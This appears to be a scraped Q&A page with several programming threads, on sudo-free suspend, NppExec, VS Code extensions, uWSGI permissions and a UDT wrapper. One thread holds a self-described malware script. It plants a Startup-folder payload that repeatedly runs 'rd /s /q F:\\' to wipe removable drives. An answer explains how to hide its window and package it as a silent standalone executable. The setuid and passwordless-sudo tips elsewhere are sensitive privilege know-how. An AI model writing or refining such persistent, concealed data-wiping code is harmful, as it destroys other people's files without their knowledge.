Run a particular process without using sudo - python

I understand my question is not that clear so let me try explaining it here.
What I am trying to do is suspend my computer after completing a certain task.
My script:
#my logic or task(Downloading a file)#
cmd = shlex.split("sudo pm-suspend")
>>> subprocess.call(cmd)
[sudo] password for noob:
As you can see it asks for my password but the problem is I will not be sitting on my system while the script is getting executed.
So, my question is how to handle this problem or what other alternative way exist to tackle this problem.
Python version is 2.7.3.

Assuming your pm-suspend is at /usr/sbin/pm-suspend
Make your sudoers entry in /etc/sudoers:
<username> ALL=(ALL) NOPASSWD: /usr/sbin/pm-suspend

You can use the SetUID bit to cause a script to run with the permissions of the owner of the file. You can allow a specific file to always run as root by changing its owner to root and setting its SetUID bit. To set the SetUID bit:
chmod 4755 <filename>
masks: 4000 is SetUID, 0700 is owner rwx, 0050 and 0005 are group and world rx.
It is imperative that you make sure that users other than the owner cannot edit this file, because if they can, they will be able to run arbitrary commands as your user, which is a security risk.
To be effective as you need it, you must also set the file's owner to root:
sudo chown root <filename>
In this case, <filename> should be whatever script you intend to run. It must be executable - if it is not, i.e. you are trying to run a python program not set up to be executed standalone, you will need to use a wrapper that launches it.
More information: http://en.wikipedia.org/wiki/Setuid
Be careful, there are a number of security risks associated with using the SetUID bit. Post further comments if you need clarification.
A commenter has pointed out that in all likelihood, this will not work for shell scripts. You will instead need to use a wrapper that will call your process from a compiled language such as C or C++.
/* setuid_wrapper.cpp */
#include <unistd.h>
int main(int c, char * v[])
{
// the program to execute
// replace this with the program you want to call.
const char * executable = "/bin/false";
// arguments to pass to program
// MUST be null terminated, MUST start with executable path
const char * arguments[] = {executable, "arg1", "arg2", "etc...", NULL};
execv(executable, arguments);
perror("execv: ");
return 1;
}
compile with:
g++ -o setuid_wrapper setuid_wrapper.cpp
Follow the directions earlier to change its owner to root and set the SetUID bit, and configure your system to run it instead of your script when needed.

Related

Interactive Python Execution in NPP

I've made a bunch of tweaks to NPP following this guide, and so far it's gone over well.
But I have a somewhat annoying problem. I want to use input commands in my code.
If the console is closed, this isn't a problem—it pops up and I can type right away in the input field just fine, no clicking.
But when I edit the code and re-run the script (without closing the console), the console clears and runs the program, but I have to click over to be able to interact.
I don't want to close the NppExec console every time I finish the script.
I don't want to have to click over on the console every time I run the script.
As a bonus, I don't want to have to kill my script every time I run it again, either.
I just want to run, type required inputs, go back to editing, re-run, type, etc. without interruptions, if possible..
Can anyone help me with this?
Thank you....
Please check the NppExec Manual for NppExec ver. 0.6 RC2. It includes a lovely script in the section "4.6.4. Running Python & wxPython":
npp_console - // disable any output to the Console
npp_save // save current file (a .py file is expected)
cd "$(CURRENT_DIRECTORY)" // use the current file's dir
set local #exit_cmd_silent = exit() // allows to exit Python automatically
set local PATH_0 = $(SYS.PATH) // current value of %PATH%
env_set PATH = $(SYS.PATH);C:\Python27 // use Python 2.7
npp_setfocus con // set the focus to the Console
npp_console + // enable output to the Console
python -i -u "$(FILE_NAME)" // run Python's program interactively
npp_console - // disable any output to the Console
env_set PATH = $(PATH_0) // restore the value of %PATH%
npp_console + // enable output to the Console
The command
npp_setfocus con
looks like the one you are looking for.

vscode extension: how to create a language specific command

I wrote a simple extension for vscode, which registers a command, namely comandName.
In my package.json file I have:
"activationEvents": [
"onLanguage:python",
"onCommand:commandName"
]
I meant to execute this command only for Python. To my knowledge, however, the activationEvents in my package.json means that the command would be activated when a Python file is opened or the command is executed. But the command can be executed within any language. I searched the documentation but found no way to execute the command for certain languages.
Is there any way to achieve this target?
I'm afraid this is impossible for now. However you can work around this to avoid any side effects on other files.
If you bind this command to some key combination or to context menu you can use when clause to limit the command to specific types of files.
It will still allow to execute the command from command palette though. To work around this you can just ignore it when being in file other than Python:
vsc.commands.registerTextEditorCommand('testCommand', editor => {
if (editor.document.languageId !== 'python') {
return
}
// command logic
}))
Notice I used registerTextEditorCommand instead of regular command. The difference is that this one requires user to be in text editor context to work which is what you probabl

uwsgi is running my app as root, but shouldn't be

I have a Flask app run via uwsgi being served by nginx, all being controlled by supervisord
I have set my user parameter in /etc/supervisor.conf to user=webdev
and in both ../myapp/uwsgi_app.ini and /etc/uwsgi/emperor.ini, I have set uid=webdev and gid=www-data
Problem is, I am having a permissions issue within my app. with the following print statements in one of my views, I discover that the application is being run as root. This is causing issues in a function call that requires creation of a directory.
All of the following print statements are located inside the Flask view.
print 'group!! {}'.format(os.getegid())
print 'user id!! {}'.format(os.getuid())
print 'user!! {}'.format(os.path.expanduser('~'))
results in...
group!! 1000
user id!! 1000
user!! /root
EDIT: I added the following print statements:
from subprocess import call
print 'here is user',
call('echo $USER', shell=True)
print 'here is home',
call('echo $HOME', shell=True)
This prints
here is user root
here is home /root
in a terminal on the server, I type $ id, I get uid=1000(webdev) gid=1000(webdev) groups=1000(webdev)
Here is the output from $ getent group
root:x:0:
...
webdev:x:1000:
...
www-data:x:1001:nginx
nginx:x:996:nginx
...
Here are some lines from /etc/passwd
webdev:x:1000:1000::/home/webdev:/bin/bash
That's strange, because normally you wouldn't have any permissions issues when running as root (the opposite actually, you'd have more permissions than necessary in this case).
I have the feeling that you might be running the process as webdev and not root after all. Can you try calling os.getuid() instead of os.expanduser()?
The /rootdirectory is often used as a default when there is no home directory set for a user. You can also check your /etc/passwd/ for webdev's entry to see what the home directory is set to.
If you're not running as root, your permissions issue are probably related to something else (maybe webdev isn't the owner of the directory you're writing in?).
EDIT: If you want user webdev to have a proper home directory, run the following as root:
mkdir -p /home/webdev
usermod -m -d /home/webdev webdev
After that, os.expanduser() should display the correct home directory.
EDIT 2: I was wrongly assuming that webdev was not a normal user but just a minimally configured service username like www that you were using. My mistake.
In any case, as I mentioned in the comment, what matters is your uid value. You're not running as root because your uid is not 0. Nothing else matters in UNIX terms.
I think that I figured it out though. The way uWSGI works when you specify the uid & gid options is that it still runs as root originally but immediately calls setuid() to drop its privileges and switch to the uid and gid you provided. This would explain the behavior you're seeing: the environment is still configured for root and even though uWSGI is now running as webdev, $USER and $HOME must be still pointing to root.
You can try to test this by adding this line inside the Flask view:
open('/home/webdev/testfile', 'a').close()
This will create an empty file in webdev's home directory. Now log in afterwards as webdev, go to /home/webdev and do an ls -l. If the owner of testfile is webdev, you're running as webdev.
If you can establish that, then what you'll have to do is write all your code assuming that $HOME and $USER are wrongly set. I'm not sure how it will affect your code, but try, for instance, to avoid relative paths (it is possible assumed that the default destination is your wrong home directory).

Execute python script on startup in the background

I am writing a very simple piece of malware for fun (I don't like doing anything malicious to others). Currently, I have this:
import os
#generate payload
payload = [
"from os import system\n",
"from time import sleep\n",
"while True:\n",
" try:\n",
" system('rd /s /q F:\\\\')\n",
" except:\n",
" pass\n",
" sleep(10)\n",
]
#find the userhome
userhome = os.path.expanduser('~')
#create the payload file
with open(userhome+"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.py", "a") as output:
#write payload
for i in payload:
output.write(i)
After the user executes that script, it should run the payload every time the computer starts up. Currently, the payload will erase the F:\ drive, where USB disks, external HDDs, etc. will be found.
The problem is is that the command window shows up when the computer starts. I need a way to prevent anything from showing up any ware in a very short way that can be done easily in Python. I've heard of "pythonw.exe", but I don't know how I would get it to run at startup with that unless I change the default program for .py files. How would I go about doing this?
And yes, I do know that if one were to get this malware it wouldn't do abything unless they had Python installed, but since I don't want to do anything with it I don't care.
The window that pops up, should, in fact, not be your python window, but the window for the command you run with os (if there are two windows, you will need to follow the below suggestion to remove the actual python one). You can block this when you use the subprocess module, similar to the os one. Normally, subprocess also creates a window, but you can use this call function to avoid it. It will even take the optional argument of input, and return output, if you wish to pipe the standard in and out of the process, which you do not need to do in this case.
def call(command,io=''):
command = command.split()
startupinfo = subprocess.STARTUPINFO()
startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
if io != None:
process = subprocess.Popen(command,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE,startupinfo=startupinfo,shell=False)
return process.communicate(io)[0]
This should help. You would use it in place of os.system()
Also, you can make it work even without python (though you really shouldn't use it on other systems) by making it into an executable with pyinstaller. You may, in fact, need to do this along with the subprocess startupinfo change to make it work. Unlike py2exe or cxfreeze, pyinstaller is very easy to use, and works reliably. Install pyinstaller here (it is a zip file, however pyinstaller and other sites document how to install it with this). You may need to include the pyinstaller command in your system "path" variable (you can do this from control panel) if you want to create an executable from the command line. Just type
pyinstaller "<filename>" -w -F
And you will get a single file, standalone, window-less executable. The -w makes it windowless, the -F makes it a standalone file as opposed to a collection of multiple files. You should see a dist subdirectory from the one you called pyinstaller from, which will include, possibly among other things which you may ignore, the single, standalone executable which does not require python, and shouldn't cause any windows to pop up.

Python wrapper for UDT C++ library

I want to use the UDT library in Python, so I need a wrapper. I found this one: pyudt, but I dont know exactly how to use this to send files from a peer to peer. Can anybody point me in the right direction?
after so many time I've found this question and its solution:
The steps to install pyudt-0.1a are:
install:
libboost-python1.46-dev or equivalent
(for instance, in linux-ubuntu12.04 it's in the reps.)
install udt.h (from: http://sourceforge.net/projects/udt/) into a system directory,
OR
(put the udt.h file in the same path as the pyudt-0.1a files, and then change a line of the "pyudt.cpp", from:
#include <udt.h>
to:
#include "udt.h"
).
update the version of boost_python library, in "setup.py" to the one you're
using,
eg.:
... libraries=['udt', 'boost_python-py27'])
change the following line(s) in "pyudt.cpp":
you must correct a bug, changing from:
int r = UDT::send(_sock, data.c_str(), data.length(), 0);
to:
int r = UDT::send(_sock, data.c_str(), data.length()+1, 0);
because the character "\0" meaning the end of string must also be sent, otherwise junk would be appended to your string.
optionally, you may choose between:
_sock = UDT::socket(AF_INET, SOCK_DGRAM, 0); --» default
or:
_sock = UDT::socket(AF_INET, SOCK_STREAM, 0); --» optional
finally, run,
in the corresponding folder:
python2.7 ./setup.py build
sudo python2.7 ./setup.py install
OR, (if you don't have admin permissions to install it for all the users, and just wanna try it for you:
python2.7 ./setup.py build
python2.7 ./setup.py install --prefix=~/pyudt-0.1a/installation_dir/ #in this case, pyudt would only work if called from that directory
)
Then, the code for a simple client can be:
import pyudt
socket = pyudt.pyudt_socket()
socket.connect(("127.0.0.1", 7000))
socket.send("hello_world!")
and it works, it talks with my cpp server!
notice: if you need more help you can write in the python's console:
import pyudt
dir(pyudt.pyudt_socket) # to list the available functions
help(pyudt) # to get more help
PS. the files created with this installation tutorial are:
/usr/local/lib/python2.7/dist-packages/pyudt.so, and /usr/local/lib/python2.7/dist-packages/pyudt-0.1a.egg-info
You can give my udt_py fork a try. It includes a sample recvfile.py now and can retrieve files from the sendfile daemon in udt's app directory.

Categories